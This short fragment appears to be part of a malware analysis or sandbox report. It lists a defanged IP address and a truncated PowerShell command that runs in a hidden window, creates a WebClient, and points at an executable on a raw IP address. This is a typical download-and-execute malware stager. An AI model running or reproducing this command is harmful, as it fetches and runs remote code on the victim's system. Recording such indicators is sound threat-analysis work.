Technical Information
- '18#.#1.138.239':80
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'http://185.61.138.239/outputD832F5F.exe'.Spl...' (with hidden window)